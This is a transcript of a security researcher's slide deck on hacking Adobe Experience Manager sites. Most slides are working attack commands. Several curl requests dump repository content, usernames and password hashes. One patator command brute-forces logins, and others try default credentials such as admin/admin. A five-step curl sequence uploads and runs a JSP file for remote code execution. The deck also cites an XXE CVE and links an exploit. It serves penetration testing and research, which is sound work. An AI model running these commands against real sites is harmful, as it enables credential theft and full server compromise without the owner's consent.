hacking adobe experience manager sites

23
H a ck1ng Adobe Experience Manager sites

Upload: mikhail-egorov-oscp-cissp-spse

Post on 28-Jul-2015

135 views

Category:

Software


6 download

TRANSCRIPT

Page 1: Hacking Adobe Experience Manager sites

Hack1ng Adobe Experience

Manager sites

Page 2: Hacking Adobe Experience Manager sites

• Mikhail Egorov

• Security researcher

• Works in Odin (Parallels)

• 0ang3el (at) gma1l (d0t) com

Who is that guy?

Page 3: Hacking Adobe Experience Manager sites

• http://resources.infosecinstitute.com/adobe-cq-pentesting-guide-part-1/

• http://www.slideshare.net/CQCON/prsentation-ben-zahler

• https://docs.adobe.com/docs/en/aem/6-0/administer/security/security-checklist.html

Related Work

Page 4: Hacking Adobe Experience Manager sites

• Sensitive information from JCR

• Installed OSGI bundles

• Custom scripts

• Usernames

• Password hashes

• Elements that allow anonymous modification

What do we want

Page 5: Hacking Adobe Experience Manager sites

• Use JsonRendererServlet

Sensitive information from JCR

curl -X “GET” http://127.0.0.1:8080/.json

curl -X “GET” http://127.0.0.1:8080/.6.json

curl -X “GET” http://127.0.0.1:8080/.tidy.6.json

curl -X “GET” http://127.0.0.1:8080/.tidy.infinity.json

Page 6: Hacking Adobe Experience Manager sites

• List of all bundles

• QueryBuilder is your friend! http://docs.adobe.com/docs/en/cq/5-6-1/dam/customizing_and_extendingcq5dam/query_builder.html

Installed OSGI bundles

curl -X “GET” http://127.0.0.1:8080/bin.tidy.infinity.json

curl -X “GET” http://127.0.0.1:8080/bin/querybuilder.json

Page 7: Hacking Adobe Experience Manager sites

• List customs scripts

• List compiled custom scripts from cache

Custom scripts

curl -X “GET” http://127.0.0.1:8080/apps.tidy.infinity.json

curl -X “GET” http://127.0.0.1:8080/var/classes.tidy.infinity.json

Page 8: Hacking Adobe Experience Manager sites

• Dump content node properties

• Use regular expression to extract usernames (pipe with prev command)

Usernames

curl -X “GET” http://127.0.0.1:8080/content.infinity.json

python -c 'import sys,re; print "\n".join([m.group(1) for m in

re.finditer("\".+?By\":\"(.+?)\"",sys.stdin.readlines()[0])])' |

sort –u

Page 9: Hacking Adobe Experience Manager sites

• Use QueryBuilder bundle

Password hashes

curl -X “GET”

http://127.0.0.1:8080/bin/querybuilder.json?type=rep:User&p.hits=sel

ective&p.properties=rep:principalName%20rep:password&p.limit=100

Page 10: Hacking Adobe Experience Manager sites

• Dump content node properties

• Use regular expression to check (pipe with prev command)

Anonymous modification

curl -X “GET” http://127.0.0.1:8080/content.infinity.json

python -c 'import sys,re; m =

re.search("\".+?By\":\"anonymous\"",sys.stdin.readlines()[0]); print

"Anon modification: ","Yes" if m else "No"'

Page 11: Hacking Adobe Experience Manager sites

• Try default user credentials: admin/admin, author/author, anonymous/anonymous

• Offline attack (brute hashes)

• Online attack (POST servlet bundle)

Getting access

patator http_fuzz url=http://127.0.0.1:8080/content/fake.json

method=POST user_pass=FILE0:FILE1 0=users.txt 1=pass.txt

auth_type=basic -x ignore:code!=200 --threads 5

Page 12: Hacking Adobe Experience Manager sites

• XSS

• CSRF

• DoS

• Read local files

• RCE

You have access, now what?

Not covered, sorry!

Page 13: Hacking Adobe Experience Manager sites

• CVE-2015-1833 ( http://seclists.org/oss-sec/2015/q2/518 )

• Webdav OSGI bundle uses XML parser that is not properly initialized

• Exploit - https://www.exploit-db.com/exploits/37110/

Webdav bundle, XXE

Page 14: Hacking Adobe Experience Manager sites

• Out-of-bound exploitationhttp://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

• Pros: works with anonymous credentials

• Cons: you need external server, instable

• Inbound exploitation• Pros: you do not need external server, more stable

• Cons: you need credentials of the user that is able to modify some node in JCR

Webdav bundle, XXE

Page 15: Hacking Adobe Experience Manager sites

http://www.youtube.com/watch?v=Hg3AXoG89Gs

Webdav bundle, XXE Demo

Page 16: Hacking Adobe Experience Manager sites

• We have node – http://127.0.0.1:8080/rce

• We have script exec.jsp that is magically loaded into node –http://127.0.0.1:8080/apps/rcetype

• When someone navigates to http://127.0.0.1:8080/rce.exec our exec.jsp will be executed.

Remote code execution

{"jcr:createdBy":"admin","jcr:created":"Sun May 03 2015 21:24:38

GMT+0300","jcr:primaryType":"nt:folder","exec.jsp":{"jcr:createdBy":"admin","jcr:crea

ted":"Sun May 03 2015 21:24:38 GMT+0300","jcr:primaryType":"nt:file"}}

{"sling:resourceType":"rcetype","jcr:primaryType":"nt:unstructured"}

Page 17: Hacking Adobe Experience Manager sites

• Step I: Create rcetype node

Remote code execution

curl –u admin:admin –Fjcr:primaryType=nt:folder

http://127.0.0.1:8080/content/rcetype

Page 18: Hacking Adobe Experience Manager sites

• Step II: Upload script exec.jsp to rcetype node

Remote code execution

curl –u admin:admin –[email protected]

http://127.0.0.1:8080/content/rcetype

Page 19: Hacking Adobe Experience Manager sites

• Step III: Copy rcetype to /apps

Remote code execution

curl –u admin:admin –F:operation=copy –F:dest=/apps/rcetype

http://127.0.0.1:8080/content/rcetype

Page 20: Hacking Adobe Experience Manager sites

• Step IV: Create rce node bound to rcetype

Remote code execution

curl –u admin:admin –Fsling:resourceType=rcetype

http://127.0.0.1:8080/content/rce

Page 21: Hacking Adobe Experience Manager sites

• Step V: Launch jsp script

Remote code execution

curl –X “GET” http://127.0.0.1:8080/content/rce.exec

Page 22: Hacking Adobe Experience Manager sites

http://www.youtube.com/watch?v=Z9n2T07e6Ls

Remote code execution, Demo

Page 23: Hacking Adobe Experience Manager sites

Ask a Ninja